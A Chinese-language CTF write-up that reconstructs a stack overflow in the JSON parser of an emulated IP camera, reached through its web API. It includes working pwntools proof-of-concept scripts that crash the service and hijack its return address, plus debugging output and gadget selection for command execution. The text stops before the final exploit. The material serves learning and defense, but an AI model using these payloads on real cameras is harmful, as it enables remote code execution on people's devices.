RWCTF 6th - Let’s party in the house
score:378
solve_count:6
pwn
, Panasonic (PCSL)
, difficulty:Schrödinger
1 2 Oh, no, in the middle of our party, there was a strange baby cry coming from the IP Camera. There is only one service in the device, can you figure out the baby crying? flag path: /flag
nc 47.88.48.133 7777
https://github.com/chaitin/Real-World-CTF-6th-Challenges
题目配置&启动 给了一个run.sh,直接启动,题目环境就可以跑起来。账号密码是root:root
,启动之后一直有杂乱的信息,搜索之后发现有telnetd,重新打包一下rcS,在rcS里加上telnetd -p 8802 -l /bin/sh
,此时8802就会开启telnet,在docker里加上映射之后nc 127.0.0.1 8802
即可获得shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #!/bin/sh source /etc/profile_prjcfgtelnetd -p 9901 -l /bin/sh mount -a echo "ker" > /proc/nvt_info/boottsecho "rcS" > /proc/nvt_info/boottsfor initscript in /etc/init.d/S[0-9][0-9]*do if [ -x $initscript ]; then echo "[Start] $initscript " $initscript fi done echo "rcS" > /proc/nvt_info/boottstelnetd -p 8802 -l /bin/sh
1 2 3 4 5 6 7 8 #!/bin/sh qemu-system-arm \ -m 1024 \ -M virt,highmem=off \ -kernel zImage \ -initrd player.cpio \ -nic user,hostfwd=tcp:0.0.0.0:8801-:80,hostfwd=tcp:0.0.0.0:8802-:8802 \ -nographic
1 2 3 4 5 6 450 synodebu 0:01 telnetd -p 8802 -l /bin/sh 453 synodebu 0:00 -sh 545 synodebu 1:46 /bin/webd 2452 synodebu 0:00 /bin/sh 2717 synodebu 0:00 /bin/sh 16809 synodebu 0:00 ps
漏洞分析 发现这个设备 在Pwn2Own 2023上被利用,并且TeamT5 公开了一些细节,在/lib/libjansson.so.4.7.0
中进行json代码解析的时候发生了溢出漏洞,经过对比发现比赛版本正好存在此漏洞
在parse_object这个函数中,解析key的时候发生了溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 json_t *__fastcall parse_object (lex_t *lex, int flags, json_error_t *error) { int v4; char v9[32 ]; char v10[12 ]; size_t len; int value; void *key; json_t *object; object = j_json_object(); if ( !object ) return 0 ; lex_scan(lex, error); if ( lex->token == '}' ) return object; while ( 1 ) { if ( lex->token != 0x100 ) { error_set(error, lex, "string or '}' expected" ); goto LABEL_28; } key = lex_steal_string(lex, &len); if ( !key ) return 0 ; if ( memchr (key, 0 , len) ) { jsonp_free(key); error_set(error, lex, "NUL byte in object key not supported" ); goto LABEL_28; } v10[0 ] = 0 ; _isoc99_sscanf(key, "%s %s" , v9, v10); if ( (flags & 1 ) != 0 && j_json_object_get(object, v9) ) { jsonp_free(key); error_set(error, lex, "duplicate object key" ); goto LABEL_28; } lex_scan(lex, error); if ( lex->token != 58 ) { jsonp_free(key); error_set(error, lex, "':' expected" ); goto LABEL_28; } lex_scan(lex, error); value = parse_value(lex, flags, error); if ( !value ) { jsonp_free(key); goto LABEL_28; } if ( v10[0 ] ) { v4 = sub_6A04(v10); *(value + 8 ) = v4; } else { *(value + 8 ) = 0 ; } if ( sub_5170(object, v9, value) ) { jsonp_free(key); json_decref(value); goto LABEL_28; } json_decref(value); jsonp_free(key); lex_scan(lex, error); if ( lex->token != ',' ) break ; lex_scan(lex, error); } if ( lex->token == '}' ) return object; error_set(error, lex, "'}' expected" ); LABEL_28: json_decref(object); return 0 ; }
发现了漏洞点之后需要去找触发此漏洞的方式,经过与libjansson这个公开json解析库进行源码对比的时候发现parse_object
会被parse_value
调用,parse_value
会被parse_json
调用,最后parse_json
会被json_loads/json_loadb/json_loadf/json_loadfd/json_load_callback
这5个函数调用
最后在grep筛选的时候只有json_loads
这个接口在服务器中被调用,所以调用链为parse_object->parse_value->json_loads
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 Binary file ./bin/synoaid matches Binary file ./bin/diag matches Binary file ./bin/systemd matches Binary file ./bin/webd matches Binary file ./bin/webd.id0 matches Binary file ./bin/central_server matches Binary file ./bin/webd.i64 matches Binary file ./bin/synoactiond matches Binary file ./www/uistrings/uistrings.cgi.i64 matches Binary file ./www/uistrings/uistrings.cgi matches Binary file ./www/uistrings/uistrings.cgi.id0 matches Binary file ./www/cgi2/factory.cgi.i64 matches Binary file ./www/cgi2/fwupgrade.cgi matches Binary file ./www/cgi2/config.cgi matches Binary file ./www/cgi2/factorydefault.cgi matches Binary file ./www/cgi2/param.cgi matches Binary file ./www/cgi2/factory.cgi matches Binary file ./www/camera-cgi/synocam_fw_upgrade.cgi.i64 matches Binary file ./www/camera-cgi/synocam_param.cgi.i64 matches Binary file ./www/camera-cgi/synocam_fw_upgrade.cgi matches Binary file ./www/camera-cgi/synocam_param.cgi matches Binary file ./www/camera-cgi/synocam_log_retrieve.cgi matches Binary file ./www/camera-cgi/synocam_reset.cgi matches Binary file ./www/camera-cgi/synocam_system_report.cgi matches Binary file ./lib/libjansson.so.4.7.0 matches Binary file ./lib/libjansson.so.4.7.0.id0 matches Binary file ./lib/libutil.so matches Binary file ./opt/onvif/wsdd matches Binary file ./opt/onvif/onvifd matches
有很多都调用了json_loads
,无法确定哪一个,发现webd是这个摄像头的webserver,所以对其进行简要分析一下
在webd中发现了处理函数sub_35CEC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int __fastcall handle_main (int *a1) { int v2; int v3; int v4; int v5; int v6; int v7; int v8; int v9; sub_30F24(); sub_30E04(); v2 = open("/tmp/ConnInfo" , 193 , 420 ); if ( v2 == -1 ) { if ( *_errno_location() != 17 ) fprintf (stderr , "Failed to touch ConnInfo file [%m].\n" ); } else { close(v2); } sub_24C64(a1, "/syno-api" , (int )sub_35CEC, 0 ); sub_24D94((int )a1, "/heartbeat/connect" , (int )sub_331F4, (char )sub_33EDC, (int )sub_2D6CC, (int )sub_31BDC, 0 ); sub_24D94((int )a1, "/webstream/connect" , (int )sub_3323C, (char )sub_2E97C, (int )sub_2D360, (int )sub_2D870, 0 ); sub_24D94((int )a1, "/aievent/connect" , (int )sub_33284, (char )sub_2E8F4, (int )sub_2E7DC, (int )sub_2D8F8, 0 ); v3 = sub_2F5DC(); v4 = sub_2F670(v3); v5 = sub_30BB4(v4); v6 = sub_30C48(v5); sub_2F704(v6); v7 = sub_2F798(); v8 = sub_30CDC(v7); v9 = sub_30D70(v8); return sub_30E90(v9); }
sub_35CEC
这里主要进行路由请求到后端不同的cgi处理功能点,那就需要判断出是否有功能点存在未授权访问,如果这个函数中没有找到路由请求,那就会调用/www/camera-cgi/synocam_param.cgi
这个cgi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 int __fastcall sub_35CEC (_DWORD *a1) {...... method = sub_194D8 (a1); s1 = v62; v63 = v65; v66[0 ] = v67; v61 = 0 ; v62[0 ] = 0 ; v64 = 0 ; v65[0 ] = 0 ; v66[1 ] = 0 ; v67[0 ] = 0 ; memset (v90, 0 , sizeof (v90)); v3 = sub_8B548 ((int )"Custom.Activated" ); v4 = (char *)method[4 ]; v5 = strlen ("/syno-api" ); if ( strncmp (v4, "/syno-api" , v5) ) { LABEL_45: v9 = 400 ; goto LABEL_46; } v6 = (const char *)*method; if ( strcmp ((const char *)*method, "GET" ) && strcmp (v6, "PUT" ) && strcmp (v6, "POST" ) && strcmp (v6, "DELETE" ) ) { std::string::assign (v66, "Method Not Allowed" ); v9 = 405 ; goto LABEL_46; } sub_31A40 (v68, v4); std::string::operator =(&s1, v68); if ( v68[0 ] != &v69 ) operator delete (v68[0 ]) ; if ( v3 || sub_3CC70 ((int )&unk_C1964, (int )&s1) || sub_3CC70 ((int )&unk_C1980, (int )&s1) ) { LABEL_7: path = (char *)method[4 ]; if ( !strcmp (path, "/syno-api/security" ) || !strcmp (path, "/syno-api/security/encryption_key" ) ) { ..... else { if ( !strcmp (path, "/syno-api/session" ) && !strcmp ((const char *)*method, "GET" ) ) { if ( sub_33B2C (method) ) sub_337D4 ((int )v76); else sub_31A40 (v76, "Invalid session" ); std::string::operator =(&v63, v76); if ( v76[0 ] != &v77 ) operator delete (v76[0 ]) ; sub_31A40 (&nptr, "" ); send_page (a1, 200 , &v63, &nptr); v48 = nptr; if ( nptr == (char *)v88 ) goto LABEL_15; goto LABEL_146; } ...... if ( strcmp (path, "/syno-api/camera_cap" ) || strcmp ((const char *)*method, "GET" ) ) { execve_cgi ((int )a1, "/www/camera-cgi/synocam_param.cgi" ); goto LABEL_15; } file = json_load_file ("/www/camera-cgi/synocam_cap.json" , 4 ); v56 = file; if ( file ) { sub_50DB4 (&v83, file); sub_31A40 (&nptr, "" ); send_page (a1, 200 , &v83, &nptr); if ( nptr != (char *)v88 ) operator delete (nptr) ; if ( v83 != v85 ) operator delete (v83) ; pgo_free (v56); goto LABEL_15; } sub_4E38C ( 0 , (int )"MID/BC500/webservice.cpp" , 3055 , (int )"SynoHandler" , (int )"System" , -1 , "pgo_load_file [%s] load failed.\n" ); goto LABEL_45; } v84 = 0 ; LOBYTE (v85[0 ]) = 0 ; v83 = v85; memset (v91, 0 , sizeof (v91)); for ( i = sub_1BA70 ((int )a1); i > 0 ; i = sub_1BA70 ((int )a1) ) { v20 += i; if ( v20 > 0x100000 ) break ; nptr = (char *)v88; std::string::_M_construct<char const *>((int )&nptr, v91); std::string::_M_append(&v83, nptr, v87); if ( nptr != (char *)v88 ) operator delete (nptr) ; ...... return v9; }
所以现在看一下有哪些路由请求可以未授权访问,一开始我是用自己写的脚本来探测的,但是后面看到了这位师傅 的思路之后发现用到dirsearch,查看之后发现这个工具远比我自己写的脚本好用,所以我用dirsearch测试了一下
grep筛选的时候发现vue.bundle.js
这个js里存在很多api url,我简单的写了个脚本抓取了一下
1 2 3 4 5 6 7 8 9 import rewith open ('vue.bundle.js' , 'r' ) as f: text = f.read() urls = re.findall(r'url:"(.*?)"' , text) for i in urls: print (i)
同时我也把整个web目录的所有文件的url都集合到了wordlist.txt里,然后使用dirsearch扫了一下,扫描的时候排除了404,301,401
之后发现了一些url是存在未授权访问的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 python3 dirsearch.py -u http://127.0.0.1:8801/ -w /your/path/wordlist.txt -x 404,301,401 [01:33:21] 200 - 24KB - /uistrings/cht/strings [01:33:21] 200 - 24KB - /uistrings/chs/strings [01:33:21] 200 - 27KB - /uistrings/enu/strings [01:33:22] 200 - 6MB - /uistrings/uistrings.cgi.i64 [01:33:22] 200 - 28KB - /uistrings/dan/strings [01:33:22] 200 - 34KB - /uistrings/jpn/strings [01:33:22] 200 - 29KB - /uistrings/ptb/strings [01:33:22] 200 - 28KB - /uistrings/nor/strings [01:33:22] 200 - 32KB - /uistrings/hun/strings [01:33:22] 200 - 29KB - /uistrings/ita/strings [01:33:23] 200 - 29KB - /uistrings/sve/strings [01:33:23] 200 - 31KB - /uistrings/ger/strings [01:33:22] 200 - 30KB - /uistrings/krn/strings [01:33:23] 200 - 31KB - /uistrings/plk/strings [01:33:23] 200 - 32KB - /uistrings/fre/strings [01:33:23] 200 - 30KB - /uistrings/ptg/strings [01:33:23] 200 - 29KB - /uistrings/uistrings.cgi [01:33:23] 200 - 30KB - /uistrings/nld/strings [01:33:24] 200 - 48KB - /uistrings/rus/strings [01:33:24] 200 - 61KB - /uistrings/tha/strings [01:33:24] 200 - 30KB - /uistrings/trk/strings [01:33:23] 200 - 30KB - /uistrings/spn/strings [01:33:23] 200 - 29KB - /uistrings/csy/strings [01:33:25] 200 - 6KB - /crypto.min.js [01:33:25] 200 - 2MB - /vue.bundle.js [01:33:25] 200 - 15B - /syno-api/session [01:33:25] 200 - 6B - /syno-api/activate [01:33:25] 200 - 9B - /syno-api/security/info/model [01:33:25] 200 - 9B - /syno-api/security/info/name [01:33:26] 200 - 14B - /syno-api/maintenance/firmware/version [01:33:26] 200 - 1MB - /style/main.css [01:33:27] 200 - 7B - /syno-api/security/info/language [01:33:27] 200 - 21B - /syno-api/security/info/mac [01:33:27] 200 - 6B - /syno-api/security/network/dhcp [01:33:27] 200 - 105B - /syno-api/security/info [01:33:27] 200 - 4B - /syno-api/security/info/serial_number
看到了一些/syno-api
的url,而这些url会进入synocam_param.cgi
,现在分析一下synocam_param.cgi
根据format判断返回的格式,然后根据请求方法使用不同函数处理请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 int __fastcall sub_7BC84 (json_t *json, volatile size_t a2, json_t *a3) { const char *v3; volatile size_t refcount; const char *v5; volatile size_t v7; int *v8; const char *v9; char *method; a3->type = (json_type)json; a3->refcount = a2; v3 = (const char *)sub_E19C(json, "format" ); a3[1 ].type = sub_725A8(v3); if ( a3[1 ].type == JSON_INTEGER ) { refcount = a3->refcount; v5 = (const char *)sub_E19C(json, "format" ); send_page(refcount, 400 , "Unknown output format[%s]!" , v5); return -1 ; } else { method = (char *)sub_E174((int )json); if ( method && !strcasecmp(method, "GET" ) ) { handle_get((int )a3); } else if ( method && !strcasecmp(method, "PUT" ) ) { handle_put(a3); } else if ( method && !strcasecmp(method, "POST" ) ) { handle_post(a3); } else { if ( !method || strcasecmp(method, "DELETE" ) ) { send_page(a3->refcount, 400 , "Wrong request method[%s]!" , method); return -1 ; } hanlde_delete(a3); } if ( off_B8218 != &dword_C8 ) { v7 = a3->refcount; v8 = off_B8218; v9 = (const char *)std ::string ::c_str(&unk_B82F4); send_page(v7, v8, "%s" , v9); } sub_80A70(&unk_B830C); return 0 ; } }
在handle_post
中,发现传入的数据会进入final_json_load
,而final_json_load
里会调用json_loads
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 int __fastcall sub_79FEC (_DWORD *a1) {...... v1 = (const char *)sub_E19C (*a1, "json" ); v24 = final_json_load (v1); file = json_load_file ("/www/camera-cgi/synocam_config.json" , 0 , 0 ); v2 = getenv ("SCRIPT_NAME" ); v3 = strchr (v2 + 1 , 47 ); ...... } json_t *__fastcall final_json_load (const char *a1) { json_t *v5; char v6[256 ]; char s[516 ]; memset (s, 0 , 0x200 u); memset (v6, 0 , sizeof (v6)); if ( !a1 ) return 0 ; v5 = json_loads (a1, 4u , 0 ); if ( (!v5 || v5->type == JSON_NULL) && sub_10D90 (a1, s, 512 ) == 1 ) v5 = json_loads (s, 4u , 0 ); if ( (!v5 || v5->type == JSON_NULL) && !strchr (a1, 34 ) ) { snprintf (v6, 0x100 u, "\"%s\"" , a1); return json_loads (v6, 4u , 0 ); } return v5; }
至此漏洞分析完成
Poc&调试 我编写了如下Poc,发现可以让目标crash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context(arch='arm' , os='linux' , log_level='debug' ) li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) lg = lambda x : print ('\033[32m' + str (x) + '\033[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] ip = '127.0.0.1' port = 8801 r = remote(ip, port) p1 = b'a ' + b'a' * 0x30 value = b'""' json = b'{"' + p1 + b'": ""}' li(json) rn = b'\r\n' p3 = b'' p3 += b'POST /syno-api/security/info/mac HTTP/1.1' + rn p3 += (b"Content-Length: %d" % len (json)) +rn p3 += b'Host: 127.0.0.1:8801' + rn p3 += b'sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"' + rn p3 += b'Accept: text/plain, */*; q=0.01' + rn p3 += b'Content-Type: application/json' + rn p3 += b'X-Requested-With: XMLHttpRequest' + rn p3 += b'sec-ch-ua-mobile: ?0' + rn p3 += b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36' + rn p3 += b'sec-ch-ua-platform: "macOS"' + rn p3 += b'Origin: http://127.0.0.1:8801' + rn p3 += b'Sec-Fetch-Site: same-origin' + rn p3 += b'Sec-Fetch-Mode: cors' + rn p3 += b'Sec-Fetch-Dest: empty' + rn p3 += b'Referer: http://127.0.0.1:8801/' + rn p3 += b'Accept-Encoding: gzip, deflate' + rn p3 += b'Accept-Language: zh-CN,zh;q=0.9' + rn p3 += b'Cookie: sid=sBmrHHr4XX4TKaIjv0Vw6L3I15y46m47DO9qeF79CPjquIMOAHX6ygmRJ2AaNleg' + rn p3 += b'Connection: close' + rn p3 += rn p3 += json li('[+] sendling payload' ) r.send(p3) r.interactive()
接着需要去调试一下这个Poc,看一下能否控制程序执行流,下载对应架构的gdbserver到文件系统中,然后find . | cpio -o --format=newc > ../player.cpio
打包一下,重新启动就可以使用gdbserver了
添加gdbserver的映射端口
1 2 3 4 5 6 7 8 #!/bin/sh qemu-system-arm \ -m 1024 \ -M virt,highmem=off \ -kernel zImage \ -initrd player.cpio \ -nic user,hostfwd=tcp:0.0.0.0:8801-:80,hostfwd=tcp:0.0.0.0:8802-:8802,hostfwd=tcp:0.0.0.0:1234-:1234 \ -nographic
调试方法有很多种,qemu调试cgi、fork + execute调试、patch、这里已经发现了漏洞,直接采用真实的远程环境来调试exp
采取GDB调试fork+exec创建的子进程的方法 来调试
attach到webd这个pid中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 / ps PID USER TIME COMMAND 1 synodebu 1:18 init 2 synodebu 0:00 [kthreadd] 3 synodebu 0:00 [rcu_gp] 4 synodebu 0:00 [rcu_par_gp] 5 synodebu 0:00 [slub_flushwq] 7 synodebu 0:00 [kworker/0:0H-ev] 9 synodebu 0:00 [mm_percpu_wq] 10 synodebu 5:58 [ksoftirqd/0] 11 synodebu 1h16 [rcu_sched] 12 synodebu 0:00 [migration/0] 13 synodebu 0:00 [cpuhp/0] 14 synodebu 0:00 [kdevtmpfs] 15 synodebu 0:00 [inet_frag_wq] 16 synodebu 2:43 [kworker/0:1-eve] 17 synodebu 0:00 [oom_reaper] 18 synodebu 0:00 [writeback] 19 synodebu 4:13 [kcompactd0] 35 synodebu 0:00 [kblockd] 36 synodebu 0:00 [ata_sff] 37 synodebu 0:00 [edac-poller] 38 synodebu 0:00 [devfreq_wq] 39 synodebu 0:00 [watchdogd] 40 synodebu 0:00 [kworker/u2:1-ev] 41 synodebu 0:00 [rpciod] 42 synodebu 0:00 [kworker/0:1H] 43 synodebu 0:00 [kworker/u3:0] 44 synodebu 0:00 [xprtiod] 45 synodebu 0:00 [kswapd0] 46 synodebu 0:00 [kworker/u2:2-ev] 47 synodebu 0:00 [nfsiod] 50 synodebu 0:00 [mld] 51 synodebu 0:00 [ipv6_addrconf] 52 synodebu 0:00 [kworker/0:2] 129 synodebu 0:00 inetd 208 synodebu 0:00 /bin/kmesg_monitor 210 synodebu 7h57 /bin/systemd 232 synodebu 12:11 ntpdaemon 240 synodebu 17:31 syslogd -b 1 -s 200 -n -f /tmp/syslogd.conf 318 synodebu 0:41 wpa_supplicant -ieth0 -Dwired -c /tmp/wpa_supplicant-eth0. 322 synodebu 0:05 zcip -f eth0 /bin/zcipnotify 330 synodebu 1:00 dhcpcd: eth0 [ip4] 363 synodebu 11h34 /bin/streamd 367 synodebu 34:09 /bin/central_server 369 synodebu 33:35 /bin/synoactiond 375 synodebu 20:25 /bin/recorder 428 synodebu 0:01 telnetd -p 9901 -l /bin/sh 431 synodebu 0:00 init 559 synodebu 5h33 /bin/webd 4853 synodebu 0:00 /bin/sh 4858 synodebu 0:00 ps / gdbserver :1234 --attach 559 Attached; pid = 559 Listening on port 123
用gdb-multiarch连上来之后就可以发现已经可以调试webd了
1 2 3 4 5 pwndbg> set follow-fork-mode parent pwndbg> c Continuing. [Detaching after vfork from child process 6200] [Detaching after fork from child process 6201]
有个vfork,跳过这个vfork,直接捕获一下fork
1 2 3 pwndbg> set follow-fork-mode parent pwndbg> catch fork pwndbg> c
此时vfork已经被跳过,此时已经到了fork这里,跟进cgi程序,捕获exec之后就可以发现已经到了synocam_param.cgi,但是会卡住,虽然会卡住,但是不影响执行命令,回车之后继续Continuing,此时发现目标crash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pwndbg> set follow-fork-mode child pwndbg> catch exec pwndbg> c ...... Thread 2.1 "synocam_param.c" hit Catchpoint 2 (exec 'd /www/camera-cgi/synocam_param.cgi), 0x76fcea00 in ?? () from target:/lib/ld-linux-armhf.so.3 Continuing. Reading /lib/libjansson.so.4 from remote target... Reading /lib/libutil.so from remote target... Reading /lib/libpthread.so.0 from remote target... Reading /lib/libcurl.so.4 from remote target... Reading /lib/libcrypto.so.1.1 from remote target... Reading /lib/libssl.so.1.1 from remote target... Reading /lib/libz.so.1 from remote target... Reading /lib/libdl.so.2 from remote target... Reading /usr/lib/libstdc++.so.6 from remote target... Reading /lib/libm.so.6 from remote target... Reading /lib/libgcc_s.so.1 from remote target... Reading /lib/libc.so.6 from remote target... Thread 2.1 "synocam_param.c" received signal SIGSEGV, Segmentation fault. 0x76fb7f88 in ?? () from target:/lib/libjansson.so.4
crash之后的状态
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────── *R0 0x7efff240 ◂— 'aaaa' R1 0x0 R2 0x0 *R3 0x61616161 ('aaaa' ) *R4 0x4b7954 ◂— 0xb77f4 R5 0x0 *R6 0x407464 ◂— mov fp, R7 0x0 R8 0x0 R9 0x0 *R10 0x4b7954 ◂— 0xb77f4 *R11 0x7efff144 —▸ 0x7efff15c —▸ 0x76fb4c40 ◂— ldr r3, [fp, R12 0x0 *SP 0x7efff138 ◂— 0x0 *PC 0x76fb7f88 ◂— strb r2, [r3] ────────────────────────────────────[ DISASM / arm / set emulate on ]───────────────────────────────────── ► 0x76fb7f88 strb r2, [r3] 0x76fb7f8c nop 0x76fb7f90 add sp, fp, 0x76fb7f94 pop {fp} 0x76fb7f98 bx lr 0x76fb7f9c str fp, [sp, 0x76fb7fa0 add fp, sp, 0x76fb7fa4 sub sp, sp, 0x76fb7fa8 str r0, [fp, 0x76fb7fac ldr r3, [fp, 0x76fb7fb0 ldr r3, [r3]
漏洞利用 为了方便调试,直接写个脚本来捕获cgi
1 2 3 4 5 6 7 target remote :1234 set follow-fork-mode parentcatch fork c set follow-fork-mode childcatch exec c
此时卡住之后发现cgi没有被彻底载入
1 2 3 4 5 6 7 8 9 10 11 12 vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x400000 0x4a7000 r-xp a7000 0 /www/camera-cgi/synocam_param.cgi 0x4b7000 0x4b9000 rw-p 2000 a7000 /www/camera-cgi/synocam_param.cgi 0x76fce000 0x76fee000 r-xp 20000 0 /lib/ld-2.30.so 0x76ffb000 0x76ffc000 r-xp 1000 0 [sigpage] 0x76ffc000 0x76ffd000 r--p 1000 0 [vvar] 0x76ffd000 0x76ffe000 r-xp 1000 0 [vdso] 0x76ffe000 0x77000000 rw-p 2000 20000 /lib/ld-2.30.so 0x7efdf000 0x7f000000 rw-p 21000 0 [stack] 0xffff0000 0xffff1000 r-xp 1000 0 [vectors]
在0x7464这里下断点之后就可以看到/lib/libjansson.so.4.7.0
的地址,此时跟据这个基址在漏洞点下一个断点,就可以调试漏洞点了
1 2 3 4 5 6 7 8 9 10 11 12 ...... 0x76fae000 0x76fbd000 r-xp f000 0 /lib/libjansson.so.4.7.0 0x76fbd000 0x76fcc000 ---p f000 f000 /lib/libjansson.so.4.7.0 0x76fcc000 0x76fcd000 r--p 1000 e000 /lib/libjansson.so.4.7.0 0x76fcd000 0x76fce000 rw-p 1000 f000 /lib/libjansson.so.4.7.0 ...... pwndbg> b *0x76fae000 + 0x6BE0 Breakpoint 4 at 0x76fb4be0 pwndbg> c Continuing. Thread 2.1 "synocam_param.c" hit Breakpoint 4, 0x76fb4be0 in ?? () from target:/lib/libjansson.so.4
1 2 3 4 5 6 7 8 9 10 11 pwndbg> b *0x76fae000 + 0x6BE4 Breakpoint 5 at 0x76fb4be4 pwndbg> c Continuing ...... pwndbg> x/20wx 0x7efff174 0x7efff174: 0x76fd0061 0x00000001 0x76ff7000 0x7efff168 0x7efff184: 0x7bfff210 0x7b000001 0x00000001 0x7efff1ab 0x7efff194: 0x61616161 0x61616161 0x61616161 0x61616161 0x7efff1a4: 0x61616161 0x61616161 0x61616161 0x61616161 0x7efff1b4: 0x61616161 0x61616161 0x61616161 0x61616161
调试之后,如下Poc就可以劫持返回地址为0x62626262了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *context(arch='arm' , os='linux' , log_level='debug' ) li = lambda x : print ('\x1b[01;38;5;214m' + str (x) + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + str (x) + '\x1b[0m' ) lg = lambda x : print ('\033[32m' + str (x) + '\033[0m' ) context.terminal = ['tmux' ,'splitw' ,'-h' ] ip = '127.0.0.1' port = 8801 r = remote(ip, port) p1 = b'a ' + b'a' * (0x60 + 0x24 ) + b'b' * 4 value = b'""' json = b'{"' + p1 + b'": ""}' li(json) rn = b'\r\n' p3 = b'' p3 += b'POST /syno-api/security/info/mac HTTP/1.1' + rn p3 += (b"Content-Length: %d" % len (json)) +rn p3 += b'Host: 127.0.0.1:8801' + rn p3 += b'sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"' + rn p3 += b'Accept: text/plain, */*; q=0.01' + rn p3 += b'Content-Type: application/json' + rn p3 += b'X-Requested-With: XMLHttpRequest' + rn p3 += b'sec-ch-ua-mobile: ?0' + rn p3 += b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36' + rn p3 += b'sec-ch-ua-platform: "macOS"' + rn p3 += b'Origin: http://127.0.0.1:8801' + rn p3 += b'Sec-Fetch-Site: same-origin' + rn p3 += b'Sec-Fetch-Mode: cors' + rn p3 += b'Sec-Fetch-Dest: empty' + rn p3 += b'Referer: http://127.0.0.1:8801/' + rn p3 += b'Accept-Encoding: gzip, deflate' + rn p3 += b'Accept-Language: zh-CN,zh;q=0.9' + rn p3 += b'Cookie: sid=sBmrHHr4XX4TKaIjv0Vw6L3I15y46m47DO9qeF79CPjquIMOAHX6ygmRJ2AaNleg' + rn p3 += b'Connection: close' + rn p3 += rn p3 += json li('[+] sendling payload' ) r.send(p3) r.interactive()
寻找合适的gadget,符合可见字符,因为aslr为1,最后的利用需要爆破,这里为了方便会关闭aslr。binary_base前面为0x4开头的时候binary里有些地址gadget会符合要求,如下gadget
1 2 3 4 5 6 7 8 .text:00014D5C STR R3, [R11,#var_30] .text:00014D60 LDR R0, [R11,#var_38] .text:00014D64 BL _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv ; std::string::c_str(void) .text:00014D68 MOV R2, R0 .text:00014D6C LDR R3, =(aR_0 - 0x14D78) ; "r" .text:00014D70 ADD R3, PC, R3 ; "r" .text:00014D74 MOV R1, R3 ; modes .text:00014D78 MOV R0, R2 ; command
这里有很多方法来getshell,如果采取rop利用,R11这里的地址刚好在栈上,我尝试之后发现如果使用多个key和value,这些值会往上跑,最后可以跑到r11这里,此时就可以写很长的命令来执行
还有一种方法是从00014D68
这里的地址开始的gadget,此时的寄存器状态如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 *R0 0x7efff1e0 ◂— 'aaaaaaaa\\MA' R1 0x0 *R2 0x7efff1e0 ◂— 'aaaaaaaa\\MA' *R3 0x414d5c ◂— mov r2, r0 R4 0x4b7954 ◂— 0xb77f4 R5 0x0 R6 0x407464 ◂— mov fp, R7 0x0 R8 0x0 R9 0x0 R10 0x4b7954 ◂— 0xb77f4 *R11 0x7efff104 —▸ 0x76fb3840 ◂— mov r3, r0 R12 0x0 *SP 0x7efff0e8 ◂— 0x0 *PC 0x414d5c ◂— mov r2, r0
r0这里可以控制8个字节的命令,最后一个字节用;来隔开进行命令执行,但是在调试的时候发现00014D68
这里的地址需要细调,最后的地址为00014D5C
,传入自定义的请求头也可以写很长的命令了
exp如下
